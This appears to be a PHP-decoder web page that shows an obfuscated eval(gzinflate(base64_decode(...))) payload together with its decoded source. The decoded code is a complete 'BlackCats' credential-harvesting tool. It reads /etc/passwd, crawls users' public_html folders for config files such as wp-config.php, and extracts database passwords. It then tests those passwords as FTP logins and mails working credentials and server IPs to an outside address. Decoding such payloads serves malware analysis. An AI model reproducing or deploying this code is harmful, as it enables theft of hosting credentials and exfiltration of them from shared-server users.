Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzinflate(base64_decode('nVjve9o2EP4Mf4Xq8Ux2Sm2SbU+fJ/xYuoWs+dCmC9m+BObJtohdbMuTRFPa..

Decoded Output download

echo '<html><head><title>BlackCats</title></head><body>';
($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>');
set_time_limit(0);
###################
@$passwd = fopen('/etc/passwd','r');
if (!$passwd) { die('<b>[-] Error : coudn`t read /etc/passwd</b>'); }
$pub = array();
$users = array();
$conf = array();
$i = 0;
while(!feof($passwd))
{
	$str = fgets($passwd);
		if ($i > 35)
		{
			$pos = strpos($str,':');
			$username = substr($str,0,$pos);
			$dirz = '/home/'.$username.'/public_html/';
			if (($username != ''))
			{
				if (is_readable($dirz))
				{
					array_push($users,$username);
					array_push($pub,$dirz);
				}
			}
  		}
	$i++;
}
###################
echo '<br><br><textarea cols="100" rows="20">';
echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd
";
echo "[+] Founded ".sizeof($pub)." readable public_html directories
";
echo "[~] Searching for passwords in config files...

";
foreach ($users as $user)
{
	$path = "/home/$user/public_html/";
	read_dir($path,$user);
}
echo "
[+] Done
";
function read_dir($path,$username)
{
	if ($handle = opendir($path))
	{
		while (false !== ($file = readdir($handle)))
		{
			$fpath = "$path$file";
			if (($file != '.') and ($file != '..'))
			{
				if (is_readable($fpath))
				{
					$dr = $fpath."/";
					if (is_dir($dr))
					{
						read_dir($dr,$username);
					}
					else
					{
                         if (
                         	($file=='config.php')
                         or ($file=='config.inc.php')
                         or ($file=='conf.php')
                         or ($file=='settings.php')
                         or ($file=='configuration.php')
			             or ($file=='wp_config.php')
			             or ($file=='wp-config.php')
			 	         or ($file=='inc.php')
                         or ($file=='setup.php')
                         or ($file=='dbconf.php')
                         or ($file=='dbconfig.php')
                         or ($file=='db.inc.php')
                         or ($file=='dbconnect.php')
                         or ($file=='connect.php')
                         or ($file=='common.php')
                         or ($file=='config_global.php')
                         or ($file=='db.php')
                         or ($file=='connect.inc.php')
                         or ($file=='dbconnect.inc.php')
                         or ($file=='admin/conf.php')
				or ($file=="conf_global.php")
				or ($file=="mk_conf.php")
				or ($file=="config.php")
				or ($file=="config.inc.php")
				or ($file=="config.inc")
				or ($file==".my.cnf")
				or ($file=="*.php")
				or ($file=="*config*")
				or ($file=="admin/config.php")
				or ($file=="include/config.php")
				or ($file=="includes/config.php")
				or ($file=="forum/includes/config.php")
				or ($file=="vb/includes/config.php")
				or ($file=="configuration.php")
				or ($file=="whm/configuration.php")
				or ($file=="whmc/configuration.php")
				or ($file=="joomla/configuration.php")
				or ($file=="configure.php")
				or ($file=="/includes/configure.php")
				or ($file=="config_global.php")
				or ($file=="configuration.php")
				or ($file=="conn.php")
				or ($file=="connect.php")
				or ($file=="connection.php")
				or ($file=="connect.inc.php")
				or ($file=="common.php")
				or ($file=="common.inc.php")
				or ($file=="database.php")
				or ($file=="dbconf.php")
				or ($file=="dbconfig.php")
				or ($file=="dbconnect.php")
				or ($file=="dbconnect.inc.php")
				or ($file=="db_connection.inc.php")
				or ($file=="db.inc.php")
				or ($file=="db.php")
				or ($file=="inc.php")
				or ($file=="include/db.php")
				or ($file=="dbase.php")
				or ($file=="setting.php")
				or ($file=="settings.php")
				or ($file=="setup.php")
				or ($file=="index.php")
				or ($file=="e107_config.php")
				or ($file=="../.my.cnf")
				or ($file=="blog/wp-config.php"))
                        {
							$pass = get_pass($fpath);
							if ($pass != '')
							{
								echo "[+] $fpath
$pass
";
								ftp_check($username,$pass);
							}
						}
					}
				}
			}
		}
	}
}
function get_pass($link)
{
	@$config = fopen($link,'r');
	while(!feof($config))
	{
		$line = fgets($config);
		if (strstr($line,'pass')
		or strstr($line,'pwd')
		or strstr($line,'db_pass')
		or strstr($line,'dbpass')
		or strstr($line,'passwd'))
		{
			if (strrpos($line,'"'))
			{
				preg_match("/(.*)[^=]\"(.*)\"/",$line,$pass);
				$pass = str_replace("]=\"","",$pass);
			}

			else
				preg_match("/(.*)[^=]\'(.*)\'/",$line,$pass);
				$pass = str_replace("]='","",$pass);
			return $pass[2];
		}
	}
}
function ftp_check($login,$pass)
{
	@$ftp = ftp_connect('127.0.0.1');
	if ($ftp)
	{
		@$res = ftp_login($ftp,$login,$pass);
		if ($res)
		{
error_reporting(0);
if (!isset($_SESSION['bajak']))	{
$visitcount = 0;
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$body = "ada yang inject 
$web$inj";
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE = OFF BlackCats";}
else {$security= "SAFE_MODE = ON";};
$serper=gethostbyname($_SERVER['SERVER_ADDR']);
$injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
mail("[email protected]", "$body","hacks to http://$web$inj
$security
IP Server = $serper
 IP Injector= $injektor $login : $pass ok bro");
$_SESSION['bajak'] = 0;
}
			echo '[FTP] '.$login.':'.$pass."  Success !
";
		}
		else ftp_quit($ftp);
     }
}
echo '</textarea><br><br>Recoded by <b>G-one</b> & <b>punk</b>  <a href=http://cyber-x.wap.sh>BlackCats Team</a></body></html>';

Did this file decode correctly?

Original Code

eval(gzinflate(base64_decode('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')));

Function Calls

gzinflate 1
base64_decode 1

Variables

None

Stats

MD5 3790a5b44fcf829c30ef6e16533458af
Eval Count 1
Decode Time 84 ms